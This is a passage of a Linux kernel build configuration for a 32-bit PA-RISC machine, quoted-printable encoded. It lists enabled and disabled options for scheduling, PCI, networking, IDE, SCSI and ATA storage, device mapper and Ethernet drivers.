CONFIG_DEFCONFIG_LIST=3D"/lib/modules/$UNAME_RELEASE/.config"
CONFIG_HAVE_IRQ_WORK=3Dy
CONFIG_IRQ_WORK=3Dy

#
# General setup
#
CONFIG_EXPERIMENTAL=3Dy
CONFIG_BROKEN_ON_SMP=3Dy
CONFIG_INIT_ENV_ARG_LIMIT=3D32
CONFIG_CROSS_COMPILE=3D""
CONFIG_LOCALVERSION=3D""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_DEFAULT_HOSTNAME=3D"(none)"
CONFIG_SWAP=3Dy
CONFIG_SYSVIPC=3Dy
CONFIG_SYSVIPC_SYSCTL=3Dy
CONFIG_POSIX_MQUEUE=3Dy
CONFIG_POSIX_MQUEUE_SYSCTL=3Dy
CONFIG_BSD_PROCESS_ACCT=3Dy
# CONFIG_BSD_PROCESS_ACCT_V3 is not set
# CONFIG_FHANDLE is not set
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set
CONFIG_HAVE_GENERIC_HARDIRQS=3Dy

#
# IRQ subsystem
#
CONFIG_GENERIC_HARDIRQS=3Dy
CONFIG_GENERIC_IRQ_PROBE=3Dy

#
# RCU Subsystem
#
CONFIG_TINY_RCU=3Dy
# CONFIG_PREEMPT_RCU is not set
# CONFIG_RCU_TRACE is not set
# CONFIG_TREE_RCU_TRACE is not set
CONFIG_IKCONFIG=3Dy
CONFIG_IKCONFIG_PROC=3Dy
CONFIG_LOG_BUF_SHIFT=3D16
# CONFIG_CGROUPS is not set
# CONFIG_CHECKPOINT_RESTORE is not set
CONFIG_NAMESPACES=3Dy
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
# CONFIG_RELAY is not set
CONFIG_BLK_DEV_INITRD=3Dy
CONFIG_INITRAMFS_SOURCE=3D""
CONFIG_RD_GZIP=3Dy
CONFIG_RD_BZIP2=3Dy
CONFIG_RD_LZMA=3Dy
CONFIG_RD_XZ=3Dy
CONFIG_RD_LZO=3Dy
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=3Dy
CONFIG_ANON_INODES=3Dy
# CONFIG_EXPERT is not set
# CONFIG_SYSCTL_SYSCALL is not set
CONFIG_KALLSYMS=3Dy
CONFIG_KALLSYMS_ALL=3Dy
CONFIG_HOTPLUG=3Dy
CONFIG_PRINTK=3Dy
CONFIG_BUG=3Dy
CONFIG_ELF_CORE=3Dy
CONFIG_BASE_FULL=3Dy
CONFIG_FUTEX=3Dy
CONFIG_EPOLL=3Dy
CONFIG_SIGNALFD=3Dy
CONFIG_TIMERFD=3Dy
CONFIG_EVENTFD=3Dy
CONFIG_SHMEM=3Dy
CONFIG_AIO=3Dy
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=3Dy

#
# Kernel Performance Events And Counters
#
CONFIG_PERF_EVENTS=3Dy
# CONFIG_PERF_COUNTERS is not set
# CONFIG_DEBUG_PERF_USE_VMALLOC is not set
CONFIG_VM_EVENT_COUNTERS=3Dy
CONFIG_PCI_QUIRKS=3Dy
CONFIG_SLUB_DEBUG=3Dy
# CONFIG_COMPAT_BRK is not set
# CONFIG_SLAB is not set
CONFIG_SLUB=3Dy
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=3Dy
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=3Dy

#
# GCOV-based kernel profiling
#
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=3Dy
CONFIG_RT_MUTEXES=3Dy
CONFIG_BASE_SMALL=3D0
CONFIG_MODULES=3Dy
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=3Dy
CONFIG_MODULE_FORCE_UNLOAD=3Dy
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_INIT_ALL_POSSIBLE=3Dy
CONFIG_BLOCK=3Dy
CONFIG_LBDAF=3Dy
CONFIG_BLK_DEV_BSG=3Dy
CONFIG_BLK_DEV_BSGLIB=3Dy
# CONFIG_BLK_DEV_INTEGRITY is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=3Dy

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=3Dy
CONFIG_IOSCHED_DEADLINE=3Dy
CONFIG_IOSCHED_CFQ=3Dy
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=3Dy
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED=3D"cfq"
# CONFIG_INLINE_SPIN_TRYLOCK is not set
# CONFIG_INLINE_SPIN_TRYLOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK is not set
# CONFIG_INLINE_SPIN_LOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK_IRQ is not set
# CONFIG_INLINE_SPIN_LOCK_IRQSAVE is not set
CONFIG_INLINE_SPIN_UNLOCK=3Dy
# CONFIG_INLINE_SPIN_UNLOCK_BH is not set
CONFIG_INLINE_SPIN_UNLOCK_IRQ=3Dy
# CONFIG_INLINE_SPIN_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_READ_TRYLOCK is not set
# CONFIG_INLINE_READ_LOCK is not set
# CONFIG_INLINE_READ_LOCK_BH is not set
# CONFIG_INLINE_READ_LOCK_IRQ is not set
# CONFIG_INLINE_READ_LOCK_IRQSAVE is not set
CONFIG_INLINE_READ_UNLOCK=3Dy
# CONFIG_INLINE_READ_UNLOCK_BH is not set
CONFIG_INLINE_READ_UNLOCK_IRQ=3Dy
# CONFIG_INLINE_READ_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_WRITE_TRYLOCK is not set
# CONFIG_INLINE_WRITE_LOCK is not set
# CONFIG_INLINE_WRITE_LOCK_BH is not set
# CONFIG_INLINE_WRITE_LOCK_IRQ is not set
# CONFIG_INLINE_WRITE_LOCK_IRQSAVE is not set
CONFIG_INLINE_WRITE_UNLOCK=3Dy
# CONFIG_INLINE_WRITE_UNLOCK_BH is not set
CONFIG_INLINE_WRITE_UNLOCK_IRQ=3Dy
# CONFIG_INLINE_WRITE_UNLOCK_IRQRESTORE is not set
# CONFIG_MUTEX_SPIN_ON_OWNER is not set
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=3Dy
CONFIG_PA20=3Dy
CONFIG_PREFETCH=3Dy
# CONFIG_64BIT is not set
CONFIG_PARISC_PAGE_SIZE_4KB=3Dy
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
# CONFIG_SMP is not set
CONFIG_ARCH_FLATMEM_ENABLE=3Dy
# CONFIG_PREEMPT_NONE is not set
CONFIG_PREEMPT_VOLUNTARY=3Dy
# CONFIG_PREEMPT is not set
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=3Dy
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=3D250
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=3Dy
CONFIG_FLATMEM_MANUAL=3Dy
CONFIG_FLATMEM=3Dy
CONFIG_FLAT_NODE_MEM_MAP=3Dy
CONFIG_PAGEFLAGS_EXTENDED=3Dy
CONFIG_SPLIT_PTLOCK_CPUS=3D4
# CONFIG_COMPACTION is not set
# CONFIG_PHYS_ADDR_T_64BIT is not set
CONFIG_ZONE_DMA_FLAG=3D0
CONFIG_VIRT_TO_BUS=3Dy
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=3D4096
CONFIG_NEED_PER_CPU_KM=3Dy
# CONFIG_CLEANCACHE is not set
# CONFIG_HPUX is not set

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
# CONFIG_GSC is not set
CONFIG_PCI=3Dy
# CONFIG_ARCH_SUPPORTS_MSI is not set
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
# CONFIG_PCI_PRI is not set
# CONFIG_PCI_PASID is not set
CONFIG_PCI_LBA=3Dy
CONFIG_IOSAPIC=3Dy
CONFIG_IOMMU_SBA=3Dy
CONFIG_IOMMU_HELPER=3Dy
# CONFIG_PCCARD is not set
CONFIG_HOTPLUG_PCI=3Dm
# CONFIG_HOTPLUG_PCI_FAKE is not set
# CONFIG_HOTPLUG_PCI_CPCI is not set
# CONFIG_HOTPLUG_PCI_SHPC is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=3Dy
CONFIG_CHASSIS_LCD_LED=3Dy
# CONFIG_PDC_CHASSIS is not set
CONFIG_PDC_CHASSIS_WARN=3Dy
CONFIG_PDC_STABLE=3Dy

#
# Executable file formats
#
CONFIG_BINFMT_ELF=3Dy
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=3Dy
# CONFIG_HAVE_AOUT is not set
# CONFIG_BINFMT_MISC is not set
CONFIG_NET=3Dy

#
# Networking options
#
CONFIG_PACKET=3Dy
CONFIG_UNIX=3Dy
# CONFIG_UNIX_DIAG is not set
CONFIG_XFRM=3Dy
CONFIG_XFRM_USER=3Dm
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_XFRM_IPCOMP=3Dm
CONFIG_NET_KEY=3Dm
# CONFIG_NET_KEY_MIGRATE is not set
CONFIG_INET=3Dy
CONFIG_IP_MULTICAST=3Dy
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=3Dy
# CONFIG_IP_PNP_DHCP is not set
CONFIG_IP_PNP_BOOTP=3Dy
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE_DEMUX is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
CONFIG_INET_TUNNEL=3Dm
CONFIG_INET_XFRM_MODE_TRANSPORT=3Dy
CONFIG_INET_XFRM_MODE_TUNNEL=3Dy
CONFIG_INET_XFRM_MODE_BEET=3Dy
# CONFIG_INET_LRO is not set
# CONFIG_INET_DIAG is not set
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=3Dy
CONFIG_DEFAULT_TCP_CONG=3D"cubic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IPV6=3Dm
# CONFIG_IPV6_PRIVACY is not set
# CONFIG_IPV6_ROUTER_PREF is not set
# CONFIG_IPV6_OPTIMISTIC_DAD is not set
# CONFIG_INET6_AH is not set
# CONFIG_INET6_ESP is not set
CONFIG_INET6_IPCOMP=3Dm
# CONFIG_IPV6_MIP6 is not set
CONFIG_INET6_XFRM_TUNNEL=3Dm
CONFIG_INET6_TUNNEL=3Dm
CONFIG_INET6_XFRM_MODE_TRANSPORT=3Dm
CONFIG_INET6_XFRM_MODE_TUNNEL=3Dm
CONFIG_INET6_XFRM_MODE_BEET=3Dm
# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
CONFIG_IPV6_SIT=3Dm
# CONFIG_IPV6_SIT_6RD is not set
CONFIG_IPV6_NDISC_NODETYPE=3Dy
CONFIG_IPV6_TUNNEL=3Dm
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_IPV6_MROUTE is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
CONFIG_NETFILTER=3Dy
CONFIG_NETFILTER_DEBUG=3Dy
# CONFIG_NETFILTER_ADVANCED is not set

#
# Core Netfilter Configuration
#
# CONFIG_NETFILTER_NETLINK_LOG is not set
# CONFIG_NF_CONNTRACK is not set
# CONFIG_NETFILTER_XTABLES is not set
# CONFIG_IP_VS is not set

#
# IP: Netfilter Configuration
#
# CONFIG_NF_DEFRAG_IPV4 is not set
# CONFIG_IP_NF_IPTABLES is not set

#
# IPv6: Netfilter Configuration
#
# CONFIG_NF_DEFRAG_IPV6 is not set
# CONFIG_IP6_NF_IPTABLES is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_L2TP is not set
# CONFIG_BRIDGE is not set
# CONFIG_NET_DSA is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set
# CONFIG_BATMAN_ADV is not set
# CONFIG_OPENVSWITCH is not set
CONFIG_BQL=3Dy

#
# Network testing
#
CONFIG_NET_PKTGEN=3Dm
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set
# CONFIG_CEPH_LIB is not set
# CONFIG_NFC is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH=3D"/sbin/hotplug"
# CONFIG_DEVTMPFS is not set
# CONFIG_STANDALONE is not set
# CONFIG_PREVENT_FIRMWARE_BUILD is not set
CONFIG_FW_LOADER=3Dy
CONFIG_FIRMWARE_IN_KERNEL=3Dy
CONFIG_EXTRA_FIRMWARE=3D""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_GENERIC_CPU_DEVICES is not set
# CONFIG_DMA_SHARED_BUFFER is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_PARPORT is not set
CONFIG_BLK_DEV=3Dy
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_UMEM=3Dm
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=3Dy
CONFIG_BLK_DEV_LOOP_MIN_COUNT=3D8
CONFIG_BLK_DEV_CRYPTOLOOP=3Dm

#
# DRBD disabled because PROC_FS, INET or CONNECTOR not selected
#
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_NVME is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
# CONFIG_BLK_DEV_RBD is not set

#
# Misc devices
#
# CONFIG_SENSORS_LIS3LV02D is not set
# CONFIG_PHANTOM is not set
# CONFIG_INTEL_MID_PTI is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_PCH_PHUB is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set

#
# Texas Instruments shared transport line discipline
#

#
# Altera FPGA firmware download module
#
CONFIG_HAVE_IDE=3Dy
CONFIG_IDE=3Dy

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
CONFIG_IDE_XFER_MODE=3Dy
CONFIG_IDE_ATAPI=3Dy
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_IDE_GD=3Dy
CONFIG_IDE_GD_ATA=3Dy
# CONFIG_IDE_GD_ATAPI is not set
CONFIG_BLK_DEV_IDECD=3Dm
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=3Dy
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_IDE_TASK_IOCTL is not set
CONFIG_IDE_PROC_FS=3Dy

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=3Dy

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=3Dy
# CONFIG_IDEPCI_PCIBUS_ORDER is not set
# CONFIG_BLK_DEV_GENERIC is not set
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=3Dy
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8172 is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=3Dm
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
CONFIG_BLK_DEV_SIIMAGE=3Dm
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
CONFIG_BLK_DEV_IDEDMA=3Dy

#
# SCSI device support
#
CONFIG_SCSI_MOD=3Dy
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=3Dy
CONFIG_SCSI_DMA=3Dy
# CONFIG_SCSI_TGT is not set
# CONFIG_SCSI_NETLINK is not set
CONFIG_SCSI_PROC_FS=3Dy

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=3Dy
CONFIG_CHR_DEV_ST=3Dm
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=3Dm
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=3Dy
# CONFIG_CHR_DEV_SCH is not set
CONFIG_SCSI_MULTI_LUN=3Dy
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=3Dm

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=3Dy
# CONFIG_SCSI_FC_ATTRS is not set
CONFIG_SCSI_ISCSI_ATTRS=3Dm
# CONFIG_SCSI_SAS_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=3Dy
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_SCSI_BNX2X_FCOE is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_HPSA is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=3Dy
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=3D0
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=3D16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=3D64
CONFIG_SCSI_SYM53C8XX_MMIO=3Dy
# CONFIG_SCSI_IPR is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_NSP32 is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_BFA_FC is not set
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
CONFIG_ATA=3Dm
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_ATA_VERBOSE_ERROR=3Dy
CONFIG_SATA_PMP=3Dy

#
# Controllers with non-SFF native interface
#
# CONFIG_SATA_AHCI is not set
# CONFIG_SATA_AHCI_PLATFORM is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_SATA_ACARD_AHCI is not set
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=3Dy

#
# SFF controllers with custom DMA interface
#
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_SX4 is not set
CONFIG_ATA_BMDMA=3Dy

#
# SATA SFF controllers with BMDMA
#
# CONFIG_ATA_PIIX is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_SVW is not set
# CONFIG_SATA_ULI is not set
CONFIG_SATA_VIA=3Dm
# CONFIG_SATA_VITESSE is not set

#
# PATA SFF controllers with BMDMA
#
# CONFIG_PATA_ALI is not set
# CONFIG_PATA_AMD is not set
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_ATP867X is not set
# CONFIG_PATA_CMD64X is not set
# CONFIG_PATA_CS5520 is not set
# CONFIG_PATA_CS5530 is not set
# CONFIG_PATA_CS5536 is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87415 is not set
# CONFIG_PATA_OLDPIIX is not set
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RDC is not set
# CONFIG_PATA_SC1200 is not set
# CONFIG_PATA_SCH is not set
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_SIL680 is not set
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_TOSHIBA is not set
# CONFIG_PATA_TRIFLEX is not set
CONFIG_PATA_VIA=3Dm
# CONFIG_PATA_WINBOND is not set

#
# PIO-only SFF controllers
#
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_RZ1000 is not set

#
# Generic fallback / legacy drivers
#
# CONFIG_ATA_GENERIC is not set
# CONFIG_PATA_LEGACY is not set
CONFIG_MD=3Dy
# CONFIG_BLK_DEV_MD is not set
CONFIG_BLK_DEV_DM=3Dm
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=3Dm
CONFIG_DM_SNAPSHOT=3Dm
# CONFIG_DM_THIN_PROVISIONING is not set
CONFIG_DM_MIRROR=3Dm
# CONFIG_DM_RAID is not set
# CONFIG_DM_LOG_USERSPACE is not set
CONFIG_DM_ZERO=3Dm
# CONFIG_DM_MULTIPATH is not set
# CONFIG_DM_DELAY is not set
CONFIG_DM_UEVENT=3Dy
# CONFIG_DM_FLAKEY is not set
# CONFIG_TARGET_CORE is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_FIREWIRE_NOSY is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=3Dy
CONFIG_NET_CORE=3Dy
CONFIG_BONDING=3Dm
CONFIG_DUMMY=3Dm
# CONFIG_EQUALIZER is not set
# CONFIG_NET_FC is not set
CONFIG_MII=3Dm
# CONFIG_NET_TEAM is not set
# CONFIG_MACVLAN is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
CONFIG_TUN=3Dm
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set

#
# CAIF transport drivers
#
CONFIG_ETHERNET=3Dy
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
# CONFIG_NET_VENDOR_ALTEON is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_NET_VENDOR_BROADCOM is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_CALXEDA_XGMAC is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
# CONFIG_NET_VENDOR_CISCO is not set
# CONFIG_DNET is not set
CONFIG_NET_VENDOR_DEC=3Dy
CONFIG_NET_TULIP=3Dy
# CONFIG_DE2104X is not set
CONFIG_TULIP=3Dm
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=3Dy
CONFIG_TULIP_NAPI=3Dy
# CONFIG_TULIP_NAPI_HW_MITIGATION is not set
CONFIG_DE4X5=3Dm
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
# CONFIG_NET_VENDOR_EXAR is not set
# CONFIG_NET_VENDOR_HP is not set
# CONFIG_NET_VENDOR_INTEL is not set
# CONFIG_IP1000 is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_MARVELL is not set
# CONFIG_NET_VENDOR_MELLANOX is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_PACKET_ENGINE is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_NET_VENDOR_RDC is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_SFC is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
# CONFIG_NET_VENDOR_VIA is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PHYLIB is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set
# CONFIG_TR is not set

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_IPHETH is not set
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=3Dy
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=3Dy
